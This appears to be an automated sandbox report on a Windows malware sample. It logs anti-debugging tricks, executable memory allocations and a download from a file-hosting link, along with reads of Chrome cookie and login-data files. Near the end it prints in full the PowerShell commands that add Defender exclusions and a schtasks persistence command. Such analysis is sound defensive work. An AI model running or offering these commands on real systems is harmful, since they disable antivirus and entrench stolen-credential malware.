registers.edx: 0
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 8b c2 eb 05 ea 76 34 da cd 55 8b 60 83 6c 24 20
exception.instruction: mov eax, edx
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x895b71
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
registers.edx: 0
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cc eb 05 c1 a0 bd 0f df 5e 5b 8b e5 5d c3 eb 05
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895ab8
registers.esp: 1374052
registers.edi: 8855308
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cc eb 05 c1 a0 bd 0f df 5e 5b 8b e5 5d c3 eb 05
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895ab8
registers.esp: 1374052
registers.edi: 8855308
registers.eax: 18023900
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 8b c2 eb 05 ea 76 34 da cd 55 8b 60 83 6c 24 20
exception.instruction: mov eax, edx
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x895b71
registers.esp: 1374052
registers.edi: 8855308
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cc eb 05 c1 a0 bd 0f df 5e 5b 8b e5 5d c3 eb 05
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895ab8
registers.esp: 1374052
registers.edi: 8855308
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: cc eb 04 63 84 3d 8e 3c 04 eb 03 a3 4d be 75 52
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895e13
registers.esp: 1374060
registers.edi: 8857268
registers.eax: 4
registers.ebp: 1111705675
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 242
1 0 0

__exception__

stacktrace:
0x895d98
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373704
registers.edi: 8867168
registers.eax: 0
registers.ebp: 1374064
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x895e7c
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373684
registers.edi: 9002644
registers.eax: 0
registers.ebp: 1374044
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897c85
0x897b2f
0x8974a9
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373348
registers.edi: 8870568
registers.eax: 0
registers.ebp: 1373708
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897cf6
0x897b2f
0x8974a9
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373348
registers.edi: 8870568
registers.eax: 0
registers.ebp: 1373708
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897d1c
0x89775a
0x8974ec
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373044
registers.edi: 1373578
registers.eax: 0
registers.ebp: 1373404
registers.edx: 1373192
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897e2b
0x89775a
0x8974ec
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373044
registers.edi: 1373578
registers.eax: 0
registers.ebp: 1373404
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897d1c
0x8976ba
0x89754e
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373040
registers.edi: 1373542
registers.eax: 0
registers.ebp: 1373400
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x897e2b
0x8976ba
0x89754e
0x896aff
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373040
registers.edi: 1373542
registers.eax: 0
registers.ebp: 1373400
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x898114
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373704
registers.edi: 8876300
registers.eax: 0
registers.ebp: 1374064
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x898f47
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373620
registers.edi: 8876300
registers.eax: 0
registers.ebp: 1373980
registers.edx: 9011476
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x8992f7
0x8987f9
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373212
registers.edi: 8876300
registers.eax: 0
registers.ebp: 1373572
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x89895a
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b 0f 0b eb 03 f2 30 47 eb 01 81 f7 f0 eb 02
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88d855
registers.esp: 1373624
registers.edi: 8876300
registers.eax: 0
registers.ebp: 1373984
registers.edx: 8968114
registers.ebx: 8913288
registers.esi: 8968114
registers.ecx: 8913288
1 0 0

__exception__

stacktrace:
0x89a67a
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 01 3c eb 1f eb 04 0d 2f f9 a8 eb 05 f1
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88cbcd
registers.esp: 1373396
registers.edi: 18013125
registers.eax: 0
registers.ebp: 1373756
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8964892
registers.ecx: 8913288
1 0 0
suspicious_features GET method with no useragent header suspicious_request GET https://dl.uploadgram.me/61e8269ad9b45h?dl
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://dl.uploadgram.me/61e8269ad9b45h?dl
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 389120
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00820000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 278528
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00880000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x776df000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73da2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x77650000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 262144
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74901000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 237568
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01072000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02bf0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74352000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 331776
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74d91000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 299008
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76650000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 651264
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75011000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 258048
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x760c1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 16384
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73472000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c5b000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 2031616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00852000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 1282048
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x767e1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 614400
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76ae0000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a95000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a97000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0086c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73b8a000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0085a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73b0f000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 12288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ce1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ce4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00cff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00cf0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ce5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00876000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0087a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00877000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0086d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0087b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0086a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0087c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0085c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2768
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file C:\Users\test22\AppData\Local\Temp\fl.exe
file C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
cmdline powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2452
thread_handle: 0x0000000000000214
process_identifier: 2448
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000230
1 1 0

CreateProcessInternalW

thread_identifier: 3020
thread_handle: 0x00000000000001e0
process_identifier: 1940
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000000000001e8
1 1 0

CreateProcessInternalW

thread_identifier: 2772
thread_handle: 0x00000000000001dc
process_identifier: 2824
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c "C:\Windows\system32\services32.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000330
1 1 0

CreateProcessInternalW

thread_identifier: 2808
thread_handle: 0x0000000000000220
process_identifier: 2796
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000240
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x009e0000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
section {u'size_of_data': u'0x0007ecac', u'virtual_address': u'0x0003f000', u'entropy': 7.611400464064054, u'name': u'.rsrc', u'virtual_size': u'0x0007ecac'} entropy 7.61140046406 description A section with a high entropy has been found
section {u'size_of_data': u'0x00019b18', u'virtual_address': u'0x000be000', u'entropy': 7.997431576083707, u'name': u'.idata', u'virtual_size': u'0x0001a000'} entropy 7.99743157608 description A section with a high entropy has been found
entropy 0.999180920568 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
process 4603_1642883315_6505.exe
Time & API Arguments Status Return Repeated

RegOpenKeyExW

regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x0000024c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExW

regkey_r: AddressBook
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
1 0 0

RegOpenKeyExW

regkey_r: Connection Manager
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
